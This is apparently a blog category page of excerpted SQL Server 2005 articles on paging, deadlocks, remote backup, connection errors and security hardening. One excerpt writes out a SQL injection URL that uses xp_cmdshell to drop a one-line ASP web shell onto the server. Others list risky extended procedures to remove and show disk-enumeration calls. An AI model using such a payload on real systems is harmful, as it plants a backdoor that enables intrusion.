
SqlServer2005
文章平均质量分 88
go2newlife
这个作者很懒,什么都没留下…
展开
-
比较复杂的动态SQL语句功能一例
Question:本人想做一个组合统计,谁可以告诉我怎么实现。表如下形式:id sex school government area -----------------------------------------*** 男 中学 团员 北京*** 男 大学 党员 上海*** 女转载 2007-11-19 23:53:00 · 629 阅读 · 0 评论 -
在SqlServer2005 中自定义一个 Split函数与C#中的Split功能一样
1create function split(@SourceSql varchar(8000),@Code varchar(10)) 2returns @temp table(sp varchar(1000)) 3--实现split功能 的函数 4--date :2007-7-10 5--Author :sp 6as 7begin 8 declare @i int 9 set转载 2007-11-30 19:43:00 · 672 阅读 · 0 评论 -
ReportingServices的一个问题,当前标识没有写访问权限。
“/ReportServer”应用程序中的服务器错误。 当前标识(NT AUTHORITY/NETWORK SERVICE)没有对“C:/WINDOWS/Microsoft.NET/Framework/v2.0.50727/Temporary ASP.NET Files”的写访问权限。 说明: 执行当前 Web 请求期间,出现未处理的异常。请检查堆栈跟踪信息,以了解有关该错误以及代码原创 2007-12-03 23:18:00 · 970 阅读 · 0 评论 -
在建立与服务器的连接时出错 在默认的设置下SQL SERVER不允许进行远程连接可能会导致此失败
如题,遇到了几次问题,每次解决后都忘了,这次把他写到博客,场景是SQLSERVER远程连接失败的问题。解决方法是 菜单/SQLSERVER2005/配置工具/打开 外围应用配置器/选择按服务和连接/然后选择允许远程连接,包括TCP/IP和命名管道(后者是指可以通过名字连接),设置完成后,别忘了重新启动SQL SERVER服务,我就是这里忘了操作(计算机右键/管理/服务/找到服务并重新启动即可)这里原创 2007-12-09 13:37:00 · 1300 阅读 · 0 评论 -
数据库连接
第一,设置允许远程连接,允许SQL SERVER验证第二,建立登陆帐户并授权第三, 注册Sql Server数据库 ,C:/Windows/Microsoft.NET/Framework/v2.0.50727”下运行“ASPNET_REGSQL”指令第四, 打开IIS->在默认网站或是网站所在的虚拟目录点击右键选择属性->选择ASP.NET选项卡->编辑配置->在“常规”页签编辑“Lo转载 2008-03-07 15:59:00 · 508 阅读 · 0 评论 -
批量修改SQLSERVER2005中对象的所属架构方法
SQL2005使用起来真是比SQL2000难于上手,登陆名,用户,架构,角色,权限,反反复复的,没弄清这个关系. 以前在服务器上的数据库使用远程连接SQL2000创建的存储过程,现在下载到本地,所有当时的存储过程所有者都不是dbo,而安全用户里有dbo,默认架构也是dbo,登陆名是sa,dbo具有dbowner的权限,原以为这样以sa创建adodb连接对象的话,是可以操作数据转载 2008-03-09 11:12:00 · 1246 阅读 · 0 评论 -
删除表所有数据并恢复自动标识
数据库表里面数据多了.在清理数据库数据时,经常用到delete from table ...但这样的删除,再向表里插入数据时,表标识还是会以最后的数据累加上去.有些人希望表的标识回到数字1,这种情况用delete就不适用了.下面介绍一种方法:TRUNCATE TABLE 名表这样执行操作.就能达到即删除数据又恢复表的标识为1的目的了.原创 2008-03-14 16:03:00 · 655 阅读 · 0 评论 -
多层开发中,经常写SQL SERVER存储过程的朋友看过来!
下面是自动产生存储过程的sql 脚本,你可以在查询分析器中运行.运行完,你会看到多了四个存储过程pr__SYS_MakeInsertRecordProcpr__SYS_MakeUpdateRecordProcpr__SYS_MakeSelectRecordProcpr__SYS_MakeDeleteRecordProc执行方式:在查询分析器中执行pr__SYS_Make转载 2008-01-10 23:54:00 · 533 阅读 · 0 评论 -
收藏几段SQL Server语句和存储过程
-- ======================================================--列出SQL SERVER 所有表,字段名,主键,类型,长度,小数位数等信息--在查询分析器里运行即可,可以生成一个表,导出到EXCEL中-- ======================================================SELECT转载 2008-01-10 23:56:00 · 454 阅读 · 0 评论 -
SQL交叉表实例
很简单的一个东西,见网上好多朋友问“怎么实现交叉表?”,以下是我写的一个例子,数据库基于SQL SERVER 2000。-- ======================================================--交叉表实例-- ======================================================建表:在查询分析器转载 2008-01-11 00:02:00 · 595 阅读 · 0 评论 -
使用SQL SERVER 2000的全文检索功能
使用SQL SERVER 2000的全文检索功能步骤:1、 打开NorthWind数据库,右键Products表,选择“全文索引表”,“在表上定义全文索引”,为其创建全文目录。在“全文索引向导”中,选择你需要全文查询条件的列(可以是文本或图像),我们选择Productname和QuantityPerUnit列。然后下一步,输入一个新的目录proCatalog,点击下一步。在填充调度转载 2008-01-11 00:18:00 · 489 阅读 · 0 评论 -
SQL Server 存储过程的分页方案比拼
SQL Server 存储过程的分页,这个问题已经讨论过几年了,很多朋友在问我,所以在此发表一下我的观点建立表:CREATE TABLE [TestTable] ( [ID] [int] IDENTITY (1, 1) NOT NULL , [FirstName] [nvarchar] (100) COLLATE Chinese_PRC_CI_AS NULL , [LastName] [nva转载 2008-01-11 00:19:00 · 465 阅读 · 0 评论 -
SQL Server中发送邮件的新方式
说是新方式,其实也是早就用到的技术了,所以放上来!在.NET中,大家知道,可以使用System.Web.Mail来发送邮件。在Framework 1.1下支持验证。private void Page_Load(object sender, System.EventArgs e){ MailMessage mail = new MailMessage(); mail.转载 2008-01-11 00:20:00 · 586 阅读 · 0 评论 -
SQL SERVER 与ACCESS、EXCEL的数据转换
SQL SERVER 与ACCESS、EXCEL的数据转换 熟悉SQL SERVER 2000的数据库管理员都知道,其DTS可以进行数据的导入导出,其实,我们也可以使用Transact-SQL语句进行导入导出操作。在Transact-SQL语句中,我们主要使用OpenDataSource函数、OPENROWSET 函数,关于函数的详细说明,请参考SQL联机帮助。利用下述方法,可以十分容易地转载 2008-01-11 00:25:00 · 582 阅读 · 0 评论 -
找到死锁的进程并取消该死锁的存储过程
create proc sp_lockinfo @kill_lock_spid bit=1, --是否杀掉阻塞的进程,1 杀掉, 0 仅显示 @show_spid_if_nolock bit=1, --如果没有阻塞的进程,是否显示正常进程信息,1 显示,0 不显示 @dbname sysname=原创 2008-01-18 14:49:00 · 725 阅读 · 0 评论 -
VS2005+SQL2005 ASP.NET2.0数据库连接总结
通过上篇文章(http://www.cnblogs.com/user34j/archive/2007/01/23/628426.html)的设置其实已经差不多完成了,只是还有一些细节的地方没有做好,经过一番研究现在终于搞定了。对于像我这样的新手来说,整个数据库连接真是不容易。现总结如下: 1.开启sql2005远程连接功能,开启办法如下: 配置工具->Sql Ser转载 2008-02-20 11:39:00 · 927 阅读 · 0 评论 -
MSDN演练时发现的SqlServer2005数据库连接问题
MSDN演练时发现的SqlServer2005数据库连接问题 演练:网页中的基本数据访问ms-help://MS.VSCC.v80/MS.MSDN.v80/MS.VisualStudio.v80.chs/dv_vwdcon/html/6c77d50c-7a1c-46ef-9ffe-2b8a6f54b1ab.htm主要过程: 1.在 Visual Web Developer 中转载 2008-02-20 11:38:00 · 580 阅读 · 0 评论 -
提高Sql Server性能的10个技巧
平时不怎么留意数据库相关的东西,看到这篇文章,感觉不错:《Speed Up SQL Server Apps》Learn 10 useful tips and tricks that help boost SQL Server application performance—and streamline development and deployment as well下面列举文章中的10条技巧:转载 2007-11-20 22:05:00 · 581 阅读 · 0 评论 -
Table 表中取出第 m 条到第 n 条的记录:(Not In 版本)
1 --从Table 表中取出第 m 条到第 n 条的记录:(Not In 版本) 2 3 SELECT TOP n-m+1 * 4 FROM Table 5 WHERE (id NOT IN (SELECT TOP m-1 id FROM Table )) 6 7 8 --从TABLE表中取出第m到n条记录 (Exists版本) 9 10 SELECT TOP n-m+1 * FR转载 2007-11-30 18:53:00 · 557 阅读 · 0 评论 -
Sql Server 中的output returnvalue的区别
1:ReturnValue只能返回0,1,-1这样的数据,局限性很大 ,而在存储过程中用OutPut参数,可以返回各种类型的数据,比较灵活方便。ReturnValue 是用来返回错误码的,output是指存储过程传出参数 例如 : @Flag varchar(20) output sql存储过程:create proc Test@B var转载 2007-11-30 18:59:00 · 1295 阅读 · 0 评论 -
删除潜在危机的系统存储过程
DROP PROCEDURE sp_makewebtaskexec master..sp_dropextendedproc xp_cmdshell--调用cmd窗口 可以进行Dos命令操作exec master..sp_dropextendedproc xp_dirtree--查看目录exec master..sp_dropextendedproc xp_fileexist--判断硬盘上的文件是转载 2007-11-30 19:00:00 · 605 阅读 · 0 评论 -
sql server系统存储过程及安全配置
--获得MS SQL的版本号 execute master..sp_msgetversion --得到硬盘文件信息 --参数说明:目录名,目录深度,是否显示文件 execute master..xp_dirtree c: execute master..xp_dirtree c:,1 execute master..xp_dirtree c:,1,1 --列出服务器上安装的所有OLED转载 2007-11-30 19:13:00 · 1032 阅读 · 0 评论 -
SQL Server数据库安全规划全攻略
在改进SQL Server 7.0系列所实现的安全机制的过程中,Microsoft建立了一种既灵活又强大的安全管理机制,它能够对用户访问SQL Server服务器系统和数据库的安全进行全面地管理。按照本文介绍的步骤,你可以为SQL Server 7.0(或2000)构造出一个灵活的、可管理的安全策略,而且它的安全性经得起考验。 一、验证方法选择 本文对验证(authentication)和转载 2007-11-30 19:14:00 · 540 阅读 · 0 评论 -
Sql Server2005实现远程备份数据库
相信大家都在当心数据库的丢失,这也是每个开发者头痛的一件事件,因为正在运行的服务器及数据库也在这台服务器上。如果服务器崩溃,那么所有的数据都不存在了,就算是你在你的机子上做了备份,那也是没有用的,为什么会这样说主要是因为本机是向互联网公开的,所以出事故的概率就比较高。最终我们可以利用局域网解决这样的问题。就拿两台机子做例子,A机是服务器,B机是要把A服务器上的数据库备份到B机上,前提是B机必须要有转载 2007-11-30 19:17:00 · 2351 阅读 · 0 评论 -
利用作业同步两个数据库
1--定时同步服务器上的数据 2--例子: 3--测试环境,SQL Server2000,远程服务器名:sp,用户名为:sa,无密码,测试数据库:test 4--服务器上的表(查询分析器连接到服务器上创建) 5create table [user](id int primary key,number varchar(4),name varchar(10)) 6go 7--以下在局域网(本机操作转载 2007-11-30 19:37:00 · 733 阅读 · 0 评论 -
SQL Server 2005中解决死锁方法
数据库操作的死锁是不可避免的,本文最没有说明死锁是如何产生的,重点在于解决死锁,通过SQL Server 2005, 现在似乎有了一种新的解决办法。将下面的SQL语句放在两个不同的连接里面,并且在5秒内同时执行,将会发生死锁。use Northwind begin tran insert into Orders(CustomerId) values(ALFKI) wait转载 2007-11-30 19:38:00 · 1023 阅读 · 1 评论 -
详细的SQL注入相关的命令
1、 用^转义字符来写ASP(一句话木马)文件的方法: http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell echo ^execute request^("l"^)^ >c:/mu.asp;-- echo ^execute^(request^("l"^)^)%^> >c:/mu.asp2、转载 2007-11-30 19:40:00 · 1094 阅读 · 0 评论 -
将表数据生成SQL脚本的存储过程
1CREATE PROCEDURE spsql 2@tablename sysname 3AS 4declare @column varchar(1000) 5declare @columndata varchar(1000) 6declare @sql varchar(4000) 7declare @xtype tinyint 8declare @name sysname 9de转载 2007-11-30 19:41:00 · 486 阅读 · 0 评论 -
SQL server 2005中新增的排序函数及操作
举个例子SELECT YEAR(BirthDate), ROW_NUMBER() OVER(ORDER BY YEAR(BirthDate)) AS RowNumber,/**//* 按年产生一个唯一的序号 */ ROW_NUMBER() OVER(PARTITION BY YEAR(BirthDate) ORDER BY BirthDate) AS RowNumberPa转载 2007-11-30 19:41:00 · 672 阅读 · 0 评论 -
Sql常用函数语句
1 --数据操作 2 3 SELECT --从数据库表中检索数据行和列 4 INSERT --向数据库表添加新数据行 5 DELETE --从数据库表中删除数据行 6 UPDATE --更新数据库表中的数据 7 8 --数据定义 9 10 CREATE TABLE --创建一个数据库表 11 DROP TAB转载 2007-11-30 19:42:00 · 820 阅读 · 1 评论 -
批量生成insert into语句(带有数据)
declare @str varchar(8000)declare @i int set @i=1while(@ibegin SELECT @str=INSERT INTO Menu(MenuName,MenuIds,ParentId,LinkUrl,Value) VALUES(+MenuName+, + MenuIds+ , + cast(ParentId as varc转载 2007-11-30 19:44:00 · 1269 阅读 · 0 评论 -
找到死锁的spid 并杀掉
尽管死锁不能完全避免,但遵守特定的编码惯例可以将发生死锁的机会降至最低。将死锁减至最少可以增加事务的吞吐量并减少系统开销,因为只有很少的事务: 回滚,撤消事务执行的所有工作。 由于死锁时回滚而由应用程序重新提交。 下列方法有助于将死锁减至最少: 按同一顺序访问对象。 避免事务中的用户交互。 保持事务简短并处于一个批处理中。转载 2008-01-18 15:02:00 · 1378 阅读 · 0 评论